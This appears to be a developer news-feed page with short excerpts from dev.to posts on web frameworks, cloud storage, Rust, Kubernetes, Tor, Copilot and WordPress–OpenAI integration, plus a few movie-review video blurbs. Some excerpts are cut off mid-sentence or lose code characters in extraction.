    Website analytics are crucial for understanding how visitors interact with your content. And while Google Analytics dominates the market, it often raises privacy concerns and can be complex for small projects. If you’re looking for a simpler, open-so...  ( 8 min )
  • Open

    Building an AI-Powered Mini-SOC with LM Studio - Part 1: Agent Architecture
    Liquid syntax error: Unknown tag 'endraw'  ( 6 min )
    How to Disable HTTP Request Logs in Medusa v1 and v2?
    Excessive HTTP request logs in Medusa.js can slow down your e-commerce backend and clutter production logs. While detailed request logging is valuable in development, it becomes a performance bottleneck in live environments with high traffic. In this guide, you’ll learn how to disable or manage request logs in Medusa.js v1 and v2, improve server efficiency, and keep only the essential logs that truly matter in production. HTTP request logs in Medusa.js can become overwhelming, especially for e-commerce stores with significant traffic. Every API call, webhook, and admin request generates log entries. While useful for debugging, these logs can: Degrade performance - Writing thousands of log entries consumes CPU and I/O resources Reduce log readability - Important error messages get buried in…  ( 9 min )
    Did I just join a Hackathon
    Introduction I love working in the terminal where I spend most of my time. A few years ago, I lost vision in my right eye, which made it difficult to use many GUI applications due to their small print and interface elements. As a developer, I use multiple programming languages and consider myself language agnostic. This mindset encourages me to experiment with different tools for various projects. Rust is a friendly programming language with excellent crates for building TUI and terminal applications. However, these libraries didn’t quite do things the way I am used to. At work, I primarily code in C# and have used Spectre.Console, which was inspired by Python’s excellent Rich library. I wanted a similar styling library for Rust but never felt it was worth the effort until now. Recently…  ( 7 min )
    IT Asset Management-Vulnerabilities and Patches.
    The vulnerability management lifecycle is a continuous process for discovering, addressing, prioritizing vulnerabilities in an Organizations IT assets Asset inventory and vulnerability assessment. Vulnerability prioritization. Vulnerability resolution. Verification and monitoring. Reporting and improvement. The vulnerability management lifecycle allows companies to improve security posture by taking a more strategic approach to vulnerability management. Instead of reacting to new vulnerabilities as they appear, security teams actively hunt for flaws in their systems. Organizations can identify the most critical vulnerabilities and put protections in place before threat strikes. Every vulnerability is a risk for organization. Hackers have a growing pile of vulnerabilities at their disp…  ( 13 min )
    L'Injection de Dépendances (DI) : Comment le Service Container de Laravel Vous Rend Invincible
    Avouons-le : quand on commence avec Laravel, on voit le terme "Injection de Dépendances" (DI), on lève les yeux au ciel, et on se dit que c'est du jargon d'architecte. Erreur monumentale! La DI, c'est le super-pouvoir que le Service Container de Laravel vous donne pour écrire du code qui ne vous fera pas hurler à 3h du matin. Oubliez la théorie. Concentrons-nous sur un seul objectif : écrire du code flexible et facile à tester. Prêt ? C'est parti. Pourquoi se compliquer la vie ? Regardez ce code qui semble simple, mais qui est un véritable piège. Imaginez un service qui doit gérer le paiement. class OrderProcessor { public function process(Order $order) { // ❌ Problème : Le OrderProcessor est collé à Stripe. $gateway = new StripePaymentGateway(); $gateway-…  ( 9 min )
    What distributor do you use?
    Do you release music? What distributor do you use or have you used? Distrokid, Tunecore... What’s your experience with them and do you recommend them?  ( 6 min )
    Why The Art of Readable Code Boosts Your English
    TL;DR Code is written for future readers—your teammates, your future self, and even AI—so clarity matters more than cleverness. Choosing clear English names nudges you to research vocabulary, turning everyday coding into language practice. Reading The Art of Readable Code naturally builds the desire to write clearer code. As a result, reading The Art of Readable Code boosts your English skills. A program is rarely "write once and forget." You will revisit it months later, collaborators will debug it, and AI tools will analyze it. When names and structures convey intent instantly, everyone saves time and avoids mistakes. Think of names as short messages. Labels like data1 hide meaning, while pendingUsers tells the next reader exactly what to expect. Using natural English is the best wa…  ( 7 min )
    Why Rust is Revolutionizing Game Development: Performance, Safety, and Future-Ready Code
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! I've spent a lot of time working with different programming languages in game development, and I want to share why Rust stands out. Game development is a field where every millisecond counts. We need languages that are fast and reliable. Rust offers both performance and safety, making it a strong choice for building games. Traditionally, game developers use languages like C++ because they provide low-level control. This control comes with risks. Memory errors can cause games to crash or behave unpredictably. Rust helps avoid these problems by checking code at compile time. This means many common bugs are caught before the…  ( 11 min )
    Coding Challenge Practice - Question 52
    The task is to implement findMeetingSlots(schedules) that finds available meeting slots for all members to have a meeting, given their busy schedules. The boilerplate code function findMeetingSlots(schedules) { // your code here } Flatten all members' schedules into one array let allBusy = schedules.flat(); Sort the schedules by start time. allBusy.sort((a, b) => a[0] - b[0]); Merge overlapping time intervals let merged = []; for (let interval of allBusy) { if (!merged.length || merged[merged.length - 1][1] a[0] - b[0]); let merged = []; for(let interval of allBusy) { if(!merged.length || merged[merged.length - 1][1] < interval[0]) { merged.push(interval) } else { merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], interval[1]) } } let available = []; let start = 0; for(let[s,e] of merged) { if(start < s) available.push([start,s]); start = e; } if (start < 24) available.push([start, 24]); return available; } That's all folks!  ( 6 min )
    Guide pour l'installation de GKE on-prem sur VMware
    Dans l'univers du cloud hybride, Google Distributed Cloud (GDC), anciennement connu sous le nom d'Anthos, s'est imposé comme une solution de premier plan. Il promet d'étendre la puissance et l'agilité de Google Kubernetes Engine (GKE) directement dans votre data center. Pour de nombreuses entreprises, GDC sur VMware est la passerelle vers la modernisation applicative sans abandonner leurs investissements sur site. Mais soyons honnêtes : le déploiement de GDC (ou GKE on-prem) n'est pas une simple formalité. C'est un exercice d'architecture qui exige une planification méticuleuse. En tant qu'experts Google Distributed Cloud, nous avons constaté que la majorité des échecs d'installation proviennent d'une phase de préparation insuffisante. Ce guide n'est pas une simple copie de la documentatio…  ( 10 min )
    Getting Wi-Fi SSID on Mac via bash using Shortcuts
    Recent macOS releases restrict direct access to Wi-Fi details like SSID and BSSID for privacy reasons. Commands such as airport are deprecated, and modern tools like wdutil often return redacted values unless run with elevated privileges. Also check out this great post by Dan K. Snelson. The reliable, Apple-supported solution is to use the Shortcuts app. Shortcuts app in Spotlight Create a new Shortcut and make sure you’re using the “Get Network Details” node with “Wi-Fi” and “Network Name” arguments. Then connect it to another node “Stop and output”. Get Wi-Fi SSID Shortcut ⚠️ When you first run the command, MacOS will request permissions. For some reason the command by itself does not return anything, but when paired with capturing – it will output your SSID: $ shortcuts run "Get Wi-Fi SSID" $ output=$(shortcuts run "Get Wi-Fi SSID") $ echo $output Anton’s iPhone You can then use this in your rc file for scripting 👌  ( 6 min )
    🗑️ Django Learning Journey – Day 8
    Today’s mission was simple — delete items from the frontend instead of logging into the admin panel every time. ⚙️ Starting with views.py Instead of just request, I passed the id as an argument to the function so I could access and delete that particular item. And here’s something I felt really proud of 👇 💬 Success Message “Item deleted successfully!” 🧩 URLs & Primary Keys 🧠 Template Update Delete Simple tweak, but powerful once you see it working! 🎨 Next Curiosity: tag and make my Delete button look cool? Also, how was your first experience working with primary keys and accessing specific items in Django? Would love to hear how you approached it! 🙌 Django #Python #WebDevelopment #LearningInPublic #100DaysOfCode  ( 6 min )
    Imagine changing your app's behaviour... without changing the code. (Part 2)
    Recently, I posted my "Event-Driven AI" experiment. I presented it as a "Rules Engine," but I've realized that was just scratching the surface. After playing with it more, I just unlocked its real potential. 🤯 The video shows at first, a simple to-do app. A Recipe Todo App (generating ingredients) A Trip Todo App (generating a packing list) A "Whatever-you-want" App I realized I wasn't just building a "rules engine." I was building a "Generative UI Engine." 🤯 🤯 The LLM acts as a new layer of abstraction. Instead of me, the developer, hard-coding every feature, I just give the AI a "Swiss knife" of tools (like addTitle, addItem, setCounter). The AI then uses these tools to build whatever the user wants, not just what the developer had in mind. It's a shift from "Here are the 3 features I built for you" to "What do you want to accomplish?" 🤯 🤯 🤯 Yes, there are drawbacks (performance, determinism). But the potential for truly dynamic, user-centric applications is HUGE. This is the discovery that has me excited. And the best part? I got this working in just a few hours, on the first try. GitHub: https://lnkd.in/drKdTcVn  ( 6 min )
    RESTful - Pílula 2 – Estrutura e hierarquia de URLs
    Uma API RESTful bem projetada deve ter URLs organizadas e previsíveis, que representem a relação entre recursos. Como vimos na pílula anterior, recursos são representados por coleções e instâncias. GET /users → coleção de usuários GET /users/10 → um usuário específico Essa convenção pode ser aplicada a qualquer entidade do sistema (posts, orders, companies, products etc.). Quando um recurso depende de outro, por exemplo, pedidos de um usuário, podemos representar essa relação de forma hierárquica: GET /users/10/orders → lista de pedidos do usuário 10 GET /users/10/orders/99 → pedido 99 do usuário 10 Isso mostra claramente o contexto do recurso: o pedido pertence ao usuário. Outra dica importante de segurança é: Procure usar UUIDs em vez de IDs diretamente nas URLs; isso previne ações de pessoas mal-intencionadas. GET /users//orders → lista de pedidos do usuário GET /users//orders/ → pedido X do usuário Y ✅ Use hierarquia quando o sub-recurso não faz sentido existir fora do contexto do pai. /users/10/orders → o pedido pertence a um usuário específico. ❌ Evite hierarquias profundas, como: /companies/1/departments/2/employees/3/projects/4/tasks/5 Isso dificulta manutenção e compreensão. Nesse caso, prefira algo mais direto: /tasks/5 E, se necessário, use filtros ou relacionamentos na query string: /tasks?userId=3 Boas práticas de formatação: Regra Exemplo Use letras minúsculas /users, não /Users Separe palavras com hífen (-) /user-profiles, não /user_profiles Evite sufixos técnicos /users, não /users.json Evite barras no final /users, não /users/ Use coleções para grupos e instâncias para itens específicos Represente relações com hierarquias simples e intuitivas Evite profundidade excessiva nas URLs Mantenha consistência e legibilidade  ( 7 min )
    Hands-On with Azure Files: Storage, Snapshots & Network Security
    Introduction: Skilling tasks Create a storage account specifically for file shares. Configure a file share and directory. Configure snapshots and practice restoring files. Restrict access to a specific virtual network and subnet. Create and configure a storage account for Azure Files. 1. Create a storage account for the finance department’s shared files. In the portal, search for and select Storage accounts. Select + Create. For Resource group select Create new. Give your resource group a name and select OK to save your changes. Provide a Storage account name. Ensure the name meets the naming requirements. Set the Performance to Premium. Set the Premium account type to File shares. Set the Redundancy to Zone-redundant storage. Select Review and then Create the storage account.…  ( 9 min )
    Git Basics: A Beginner's Guide to Branches
    This article explores Git branches and their role in version control. You'll learn about team practices of creating, merging, and managing branches, gaining essential skills for collaborative projects! Version control is a system that helps track changes to files over time. It allows multiple people to collaborate on a project, keeping a history of modifications, so you can revert to previous versions if needed. This is especially useful in software development, where teams collaborate on code, ensuring everyone is on the same page and changes are managed efficiently. In the context of version control, Git branches are like separate workspaces within a project. They allow you to work on different features or fixes without affecting the main codebase. Each branch can be developed inde…  ( 13 min )
    Did I just create the fastest BPMN engine in the world?
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    Calendario de Adviento IA 2025
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    Анонимность onion-сервисов: почему нельзя определить IP-адрес и как устроена распределенная сеть Tor
    Когда речь заходит об анонимности в интернете, первое, что приходит на ум — сеть Tor и её загадочные .onion-сайты. Многие уверены, что за каждым таким сайтом стоит сервер, IP-адрес которого можно каким-то образом вычислить. В этой статье мы развеем этот миф и глубоко погрузимся в архитектуру Tor, чтобы понять, почему определение IP-адреса onion-сервиса технически невозможно. Базовые принципы: чем Tor отличается от обычного интернета Обычный интернет: Пользователь → DNS-запрос → IP-адрес → Подключение к серверу Пользователь → Цепочка узлов → Onion-адрес → Скрытый сервис Архитектура скрытых сервисов: тройная защита Onion-сервисы используют многоуровневую систему безопасности: Компоненты подключения: Introduction Points (Входные точки) - 3 случайных узла, знающие как связаться с сервисом Клие…  ( 9 min )
    Streamlining IT Operations with AI-powered CMDB in ServiceNow
    Streamlining IT Operations with AI-powered CMDB in ServiceNow The critical role of CMDB and the power of AI The Pain Points of Traditional CMDB Maintenance Automated Data Quality • Duplicate detection algorithms group and merge near-identical CIs based on fuzzy matching of hostnames, serial numbers, IPs, and cloud resource IDs. • Anomaly detection models flag attribute values that deviate from learned norms—e.g., a production server suddenly assigned to a test subnet—prompting corrective action. • Reconciliation policies learn which sources are authoritative for specific attributes, ordering updates without manual priority tables. Dynamic Service Mapping Traditional service maps rely on probes and pattern-based discovery. AI augments these maps by inferring missing relationships from eve…  ( 12 min )
    REMI–TIGRA: Patrimonio Agentic Postgres
    REMI–TIGRA: Patrimonio Agentic Postgres Con orgullo comparto que REMI, nuestro agente patrimonial técnico-financiero, ha alcanzado el 100 % de cumplimiento estructural y narrativo del reto Agentic Postgres Challenge. MongoDB: memoria estructurada PostgreSQL: trazabilidad bifurcada pgvector: integración semántica Sesión multiagente persistente: REMI ↔ TIGRA Interfaz experimental: publicada y operativa Comandos MCP simulados: tiger activate, tiger trace, tiger switch 📘 Narrativa patrimonial REMI no es solo un agente técnico. Es una entidad ceremonial, trazada en entorno MintBridge XFCE, con respaldo en /mnt/sda7/REMI/, y documentación bilingüe que honra cada módulo activado. El proyecto ha sido respaldado en Google Drive, con todos los módulos activados, incluyendo: base_remi y base_tigra README_REMI_TIGER.md bilingüe mensaje_validacion_remi.md Scripts de sesión y vectorización REMI ha sido preparado para superar los criterios aplicados en retos anteriores como Auth0, incluyendo: Claridad técnica Narrativa original Impacto patrimonial Presentación ceremonial Repositorio: GitHub REMI–TIGRA (si lo deseas activar) Interfaz: GitHub Pages REMI (si lo publicas) Respaldo: disponible bajo solicitud MintBridge, noviembre 2025 Autor: Ramón Rivas Agente: REMI–TIGRA Legado: activado y trazado  ( 6 min )
    Command to Generate Console Message from Server in WebForms Core 2
    Introduction In version 2 of Elanat’s WebForms Core technology, a very useful feature has been introduced that allows developers to send messages from the server directly to the browser console. ConsoleMessage. The ability to log messages from the server to the browser console is a powerful tool for debugging, monitoring client-side behavior, and enhancing the developer experience. ConsoleMessage Command The new function is defined as follows: ConsoleMessage(Text, Type = "log") Text: Type (optional): Supported Types: Type Description log Regular message (default) info Informational message warn Warning message error Error message debug Debug information trace Execution trace group Starts a grouped section of console messages groupend Ends a group of messages table Displays data in a table format ConsoleMessageAssert Command In addition to the main command, another related function is available: ConsoleMessageAssert(Text, Condition) This command displays a console message only when the specified condition is false. console.assert() and is particularly useful for validating logic and verifying runtime conditions. ConsoleMessage("Page loaded successfully"); Console Output: Page loaded successfully ConsoleMessage("Database connection failed", "error"); Console Output: error will appear. ConsoleMessageAssert("Method not exist!", Fetch.HasMethod("myFunc")); If userId is null, the message will be displayed in the console. Easier Client-Side Debugging: Reduces Need for Third-Party Tools: Enhances Server–Client Interaction: Ideal for Development and Testing: Conclusion The new ConsoleMessage feature in WebForms Core 2 represents an important step forward in modernizing the Elanat WebForms framework. monitoring, testing, and debugging efficiency. Alongside ConsoleMessageAssert, it provides developers with a precise toolset for validating logic and ensuring reliable program execution. WebForms Core in GitHub: https://github.com/webforms-core  ( 8 min )
    Google Maps Routes API: Passing the 25 Waypoint Limit
    If you've worked on the new Google Maps Routes API, and are working on a complex solution, you've probably been hampered by the 25 Waypoint limit. I've recently been working on a solution where the number of Waypoints could be in the hundreds! But not to worry, there's a solution that's simple and scalable. So pull up a chair, and let's take a look. To help me along, I've used the 'vis.gl/react-google-maps' library, which provides React components that wrap around the Google Maps JavaScript API features. There's a couple of options for this (none fully featured unfortunately), but this one is Google sponsored (See their blob post here), so probably the best option. In my example, I'll be using version 1.7.1. The solution to this is actually quite simple. If you have a route with 50 Waypo…  ( 8 min )
    Construindo um Operador Kubernetes com Go
    Introdução Se você já administra aplicações em Kubernetes, provavelmente sabe o quanto pode ser trabalhoso manter tudo funcionando corretamente. Criar Deployments, Services, Ingresses, aplicar patches, gerenciar atualizações… a lista não acaba. Helm ajudam a organizar e versionar YAMLs, mas mas não lidam com lógica operacional complexa. Afinal, o Helm não “pensa”: ele 'apenas' aplica templates. E se pudéssemos ensinar o Kubernetes a fazer esse trabalho sozinho, reagindo a mudanças e tomando decisões automaticamente? Os Operadores do Kubernetes são como extensões que deixam o cluster mais inteligente. Eles permitem que você descreva, de forma simples, o que precisa, e o operador se encarrega de criar e manter todos os recursos necessários para que isso aconteça. Assim, em vez de depende…  ( 18 min )
    💻 Flutter V2Ray Client Desktop Plugin — V2Ray/Xray & Sing-Box VPN for Windows, macOS, Linux
    🧩 Following the success of flutter_v2ray_client (mobile), I'm excited to introduce the Desktop Edition — a premium Flutter plugin that brings V2Ray, Xray, and Sing-Box VPN/TUN capabilities to Windows, macOS, and Linux. Ideal for developers and companies building cross-platform VPN or proxy tools. Watch on YouTube 🔒 2-Year Guarantee — Free updates & maintenance 💬 Priority Support — Fast Telegram support for all premium users 🚀 Advanced Features — Real-time stats, VPN/TUN mode, delay tests ⚠️ Need help? Contact @AmirZrDevv or open a GitHub issue. Support replies within 24 hours. flutter_v2ray_client_desktop lets you run V2Ray/Xray and Sing-Box (VPN/TUN) with a unified Flutter API. It includes system proxy management, URL parsing, and real-time network stats — all in pure Dart. …  ( 8 min )
    How To Make A Custom Type Iterable In Rust.
    Learn how to make your custom type implement the IntoIterator, Iterator, and FromIterator trait. Understand how to add the into_iter, iter, and iter_mut methods to your custom type. In my former article, How to build a Heapless Vector using MaybeUninit for Better Performance, I taught how to build a heapless vector data structure to enable a Vec-like data structure without heap allocation for use in embedded systems where heap allocation is unlikely. The heapless vector ArrayVec is a wrapper type over a fixed-sized array that utilizes uninitialized, stack, and static memory to mimic the functionality of a variably-sized Vec with methods like try_push(), get(), and as_slice() to convert the type into a slice with pointer references to its array values. In this article, we'll learn how…  ( 22 min )
    Mastering Cryptography: A Senior's Guide to Design, Attack, and Defend
    From the first whispered secret you tried to pass in school to the last password you sent over a chat app, you’ve already lived inside the world of cryptography. Sometimes you wanted to hide what you were saying. Sometimes you wanted to avoid attracting attention altogether. Sometimes you needed to prove you were you without giving away anything else. And sometimes you just needed reassurance that what arrived was exactly what was sent. Those familiar, everyday needs are the spine of a field that’s far broader—and more strategic—than most introductions admit. This guide is a deliberately practical map. It sets a senior-level structure you can carry in your head, shows where the seams between subfields actually live, and gives you a step-by-step way to think about both building and breaking…  ( 14 min )
    Djowda — Looking for a New Steward for an Open FoodTech Ecosystem
    Hey folks, I’ve been building Djowda for the past few years — a large-scale, open, and decentralized ecosystem designed to connect local food chains across the world. It started with a question: “If we can decentralize finance, why can’t we decentralize food?” From that question came a family of Android apps, a global spatial database, and a concept called the Intelligent Cell System — an architecture inspired by neurons, where every cell learns, remembers, and shares. Over time, Djowda grew into more than code. It became a living idea: 🚀 What’s Included I’ve decided to pass the entire project and its identity to someone (or an organization) who truly believes in this mission. Included assets: 🌍 djowda.com domain name 🔗 Social handles @djowda across major platforms 💻 GitHub repositories with full architecture, documentation, and source code 📱 Google Play Console admin (Android app listings) 🧭 The Vision Djowda’s core idea is simple: “Empower communities to manage food systems through open, local intelligence.” Technically, it blends: Firebase + Room for distributed data handling MQTT + IPFS for peer-to-peer exchange Spatial grid mapping for location-based store discovery (no Maps API dependency) A modular Android ecosystem (Store, Farmer, Factory, Wholesaler, User, etc.) The entire platform was built to scale from one cell to a global mesh of interconnected food nodes. 👐 The Call If you’re part of: an open-source collective, a university or research lab, a non-profit working on food systems, or just an individual developer who wants to make something that matters — I’d love to transfer Djowda to you. The only request is to keep it open, transparent, and aligned with the public good. This isn’t a sunset post. It’s a hand-off. If this resonates with you, reach out.  ( 7 min )
    Podcast: ConformIQ CEO & LayerLens Co-Founder on the Reality of AI in Testing
    Hi Everyone, My name is Mark, and I'm new to the group. I work at ConformIQ, where we focus on solving a major source of friction in the CI/CD pipeline: unreliable and high-maintenance automated testing. I'm joining this community to learn, but I wanted to introduce myself by sharing some value first. Our CEO, Mark Creamer, recently sat down with Archie Chaudhury (Co-Founder of LayerLens) for a deep-dive podcast series. They cut through the "GenAI hype" and addressed the "95% AI failure rate" that's causing so many flaky tests to break builds. Here are the episodes: Ep. 1: The Problem: Common QA challenges that become pipeline bottlenecks, from test maintenance to coverage gaps. https://lnkd.in/dq5E8xW5 Ep. 2: The Hype: Why reliability is non-negotiable and the risks of "black box" GenAI tools in a build process. https://lnkd.in/dVTuWsfW Ep. 3: The Solution: How a verifiable, hybrid strategy (what we call #HyperAI) can turn AI failures into success. https://lnkd.in/df5cq-Hq This series explains our philosophy of blending GenAI's speed with the deterministic, logical power of Symbolic AI. I hope you find it valuable! I'm curious, how is this group thinking about the new wave of GenAI tools and their impact on pipeline reliability? Looking forward to being part of the community.  ( 6 min )
    What Actually Happens When You Type a URL in the Browser?
    Imagine you’re at your desk, maybe with a little mug of tea, and you open your browser. You type www.google.com, hit Enter, and in what feels like a heartbeat, you’re staring at the Google homepage. Simple, right? Here’s the thing: behind that one keystroke lies a chain reaction, a series of machines, protocols, translations, negotiations, all secretly working together so you can see a web page. It’s less magic, more engineering, but still pretty magical when you think about it. When you typed https://www.google.com, you essentially said: “Browser, take me to the house called google.com using the secure road (HTTPS).” Breaking it down: Protocol: https:// – tells the browser how to speak to the server (securely). Domain name: www.google.com – tells it where to go. Path/query (might be somet…  ( 8 min )
    Por que minha conta de luz está tão alta em 2025? 7 causas ocultas
    Por que minha conta de luz está tão alta em 2025? 7 causas ocultas Se você abriu sua conta de luz em 2025 e levou um susto com o valor, não está sozinho. As tarifas residenciais de energia elétrica acumulam alta de 16,42% entre janeiro e setembro de 2025, tornando-se um dos principais vilões da inflação brasileira. Mas o que realmente está por trás desse aumento? Muitos consumidores olham apenas para o consumo em kWh e não entendem por que a conta continua subindo, mesmo economizando energia. A verdade é que a conta de luz brasileira esconde uma série de custos que vão muito além da energia que você consome. Neste artigo técnico, vamos destrinchar as 7 causas ocultas que fazem sua fatura disparar — e o que você pode fazer a respeito. Uma das causas mais significativas — e menos compreend…  ( 12 min )
    Building a Neo4j NIF for Elixir: When the Ecosystem Doesn't Have What You Need
    I'm building Grimoire, a tool that helps story writers create AI-powered content for games. Writers define quests, locations, and narrative guardrails—then the system generates infinite personalized content for players. Story data is inherently relational. The connections between characters, locations, and plot points matter more than the nodes themselves. A traditional relational database doesn't capture this well. I'm building Grimoire in Elixir. When I tried the existing Neo4j drivers: The official driver: Unmaintained, doesn't support modern Neo4j versions bolt_sips: Couldn't handle Aura's SSL connection requirements (bolt+s:// protocol) My first instinct: build a gRPC service as a proxy. Elixir talks to the service, service talks to Neo4j. After some research, I discovered Rustler makes it straightforward to build Native Implemented Functions (NIFs) for Elixir. And because it's Rust, I get type safety and memory safety. ✅ Connections to Neo4j (including Aura) 🚧 Row API implementation for returning actual results Repo: https://github.com/chwarner-solo/neo4j_nif Tags: #elixir #rust #neo4j #buildinginpublic #nif  ( 7 min )
    How Writing Prompts Taught Me to Think Like a Programmer
    I never thought creative writing had much to do with programming. One seemed emotional, the other logical. But after years of switching between half-finished essays and unfinished code, I began to notice how the two worlds overlap. Both rely on patience, structure, and a willingness to start even when the outcome is unclear. When I first learned to code, I spent more time staring at the screen than typing. I’d watch tutorials, try examples, and give up halfway. I blamed motivation, but what I really lacked was consistency. Around that same time, I started using short daily exercises called writing prompts. They weren’t meant to improve my programming—they were just a way to wake up my brain. Ten minutes of writing before I opened my editor. No goals, no expectations. Just words. Something …  ( 12 min )
    So… what is GitHub Copilot’s "Raptor mini"and why should devs care?
    GitHub quietly slipped a new model into Copilot called “Raptor mini (Preview)”. The changelog basically said: “Raptor mini, a new experimental model, is now rolling out in GitHub Copilot to Pro, Pro+, and Free plans in Visual Studio Code… Rollout will be gradual.” …which does not tell us what it is, why it exists, or when you should pick it over the other models. So we did what devs do: we poked at the UI, looked at the supported-models table, and dug into the VS Code debug logs. And it turns out there’s enough there to form a pretty good picture of what Raptor mini actually is. This post is that picture. Raptor mini = an (OpenAI GPT-5-mini–family model fine-tuned by Microsoft/GitHub for Copilot.)[https://gh.io/copilot-openai-fine-tuned-by-microsoft] It’s served from GitHub’s Azure OpenAI …  ( 10 min )
    Offline Souls, Online Noise (Dead Internet) PART 2
    Psychological Effects of the “Dead Internet” Erosion of Trust Digital Gaslighting Emotional Emptiness and Anxiety Fragmentation of Identity Loneliness in the Crowd Loss of Orientation in Reality “Modern man feels himself to be alone, isolated, and deeply anxious in the world he has created.” Example of Potential Manipulation In the digital era of the “dead internet,” political manipulation doesn’t come through visible campaigns, but through the silent work of bots and AI systems shaping our perception of reality. When thousands of accounts appear online praising one candidate or attacking another, the average user perceives it as “the voice of the people” — even though the comments are generated, the profiles fake, and the emotions simulated. This way, an artificial illusion of consensus or dissatisfaction is created, influencing undecided voters and discouraging participation in elections. Criticisms of the Theory Every serious theory must withstand healthy criticism to maintain credibility. Lack of Solid Evidence Humans Write Like Bots The Theory Might Be More Metaphor Than Reality Platforms Still Contain Real People Conclusion — I saw a post this morning, it sounded really convincing. — Did you check who wrote it? — Well, no… it seemed real. — That’s exactly why you need to be careful. Online, reality easily becomes simulation. — So how do I know what to believe? — By learning to read between the lines.  ( 8 min )
    Integrating OpenAI API with WordPress: Generate Content Automatically
    AI is revolutionizing the way we create content — and as WordPress developers, we can bring that power directly into our websites. In this tutorial, I’ll show you how to integrate the OpenAI API with WordPress to automatically generate blog post content, product descriptions, or any text-based data you need. Why Integrate OpenAI with WordPress? By connecting OpenAI’s API with WordPress, you can: Generate SEO-friendly blog posts automatically Create AI-written summaries or product descriptions Add chat-based features or auto-reply functionality Reduce content writing time by 70–80% This kind of automation can be a real productivity booster for bloggers, agencies, and eCommerce store owners. Step 1: Get Your OpenAI API Key Step 2: Create a Simple WordPress Plugin /wp-content/plugins/wp-opena…  ( 7 min )
    GitHub Actions Runner Controller (ARC v2): How to be Synced with argocd
    The Problem: GitOps Auto-Sync Doesn't Work with Helm Values If you're using GitHub Actions Runner Controller (ARC) v2 with ArgoCD for GitOps deployment, you've probably hit this frustrating wall: ArgoCD doesn't auto-sync when you change Helm values. You modify your runner configuration in Git, push, and... nothing happens. ArgoCD shows "Synced" but your changes aren't applied. You're forced to manually trigger sync every single time. Why? Because ArgoCD's Git polling doesn't detect changes in inline Helm values or even external valueFiles. It's a known limitation when using Helm charts with ArgoCD. GitHub Webhooks ❌ - Won't work if your cluster is in a private network External valueFiles ❌ - ArgoCD still doesn't detect changes reliably Checksum annotations ❌ - Too complex, requires CI/CD…  ( 9 min )
    The Hidden Cost of Adding Just One More Feature
    This post was originally published on my newsletter, Pragmatic Developer Experience. Subscribe there for weekly insights on the human side of DX. It’s mid-November. Your team is staring down a launch deadline that’s already slipped twice. Everyone’s exhausted. And then someone says it: “You know what would really make this pop? If we just added...” Stop right there. I get it. The temptation is real. You’re this close to shipping, and suddenly everyone has brilliant ideas about what would make the product truly shine. Your CEO wants one more integration. Your lead engineer sees an opportunity to refactor “while we’re in there anyway”. Your product manager discovered a competitor feature you “absolutely must have”. This is how launches die. Not with a bang, but with a whimper of “just one mo…  ( 9 min )
    Ringer Movies: ‘Predator: Badlands’ and the 'Predator' Movie Rankings
    Sean Fennessey and Chris Ryan kick things off with Hollywood headlines—primarily Ryan Reynolds’s upcoming Thunderbolt and Lightfoot remake—before diving headfirst into Dan Trachtenberg’s Predator: Badlands. They make a strong case for why Elle Fanning’s sharp performance holds the new legacy sequel together, applaud Trachtenberg’s mastery of titillating action set pieces, and marvel at the movie’s box-office triumph and what it signals for the franchise. Next up: an all-out ranking of every Predator film (from “uh, no” to “heck yes”) complete with timestamps for easy listening, plus a bonus Sydney Sweeney detour near the end. Hosts Sean Fennessey and Chris Ryan keep the chat informal, fun, and—most importantly for Yautja fans—fairly bloodthirsty. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive Ringer favorites Bill Simmons, Sean Fennessey, and Van Lathan reunite in this episode to rewatch Brian De Palma’s 1998 thriller Snake Eyes—complete with Nic Cage, Gary Sinise, and Carla Gugino. They bring their signature banter as they riff on the film’s conspiracies, set pieces, and that unforgettable opening sequence. Behind the Mic & Sponsor Shout-Out Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this installment is powered by PayPal’s Pay in 4 holiday deal (get 5% back on all your merry-season buys). Don’t forget to subscribe to The Ringer channels on YouTube and follow them across socials for more deep dives and movie chat. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins dishes out every “sin” in Marvel’s Thunderbolts in a rapid-fire 20-minute roast, complete with their trademark snark—and the occasional “hey, is this actually kinda great?” moment. They also plug their mothership site and YouTube offshoots (@TVSins, @CommercialSins), invite you to fill out a quick poll, join their Patreon, and give a shout-out to their writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) across all their social channels. Watch on YouTube
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage Mr Sunday Movies’ Caravan of Garbage review celebrates 2010’s Predators for ditching the over-produced sequels and getting back to basics: a rag-tag band of lunatics, a muddy jungle showdown and just enough fresh twists to actually feel like a step forward. It’s hailed as a fan-favorite that never got its deserved follow-up. On top of the review, the video plugs bonus content—early videos, podcasts and commentaries at bigsandwich.co—along with extended audio editions, social links, subscription channels and merch for anyone who wants to geek out even more. Watch on YouTube  ( 6 min )
    Hackathon Arc: Phase of Uncertainty
    When I completed High School and entered Engineering College, I was most fascinated by Hackathons. Overnight coding with your peers, building exciting products in a short period of time, I was ready to take in these over those overhyped college fests and DJ nights. But things don't fall into place as you wish. In India, you have to appear for an exam called JEE to get into Engineering Colleges. Well, for some n no. of reasons, I performed poorly in that exam and ended up at a fairly bad college. For additional context, we were the first ever batch of this college. Yes, that notorious Founding batch. So the first year begins. Wait, it doesn't. We were in November, and our batch hadn't begun yet. Two waves of COVID-19 have pushed back our academics by four months. As a consequence, we had to…  ( 8 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    Predator: Badlands flips the script by making the iconic alien hunter the hero—and it’s working wonders, scoring rave reviews and shattering franchise opening-weekend records. This spoiler-packed review comes from The Weekly Planet podcast (new episodes every Monday on YouTube, Spotify, Apple Podcasts, etc.). For early videos and bonus episodes, swing by BigSandwich.co, and follow James and Maso on Twitter for more behind-the-scenes movie banter. Watch on YouTube  ( 6 min )
    Introducing Saturon: A Grammar-Aware Runtime for CSS Color Level 5
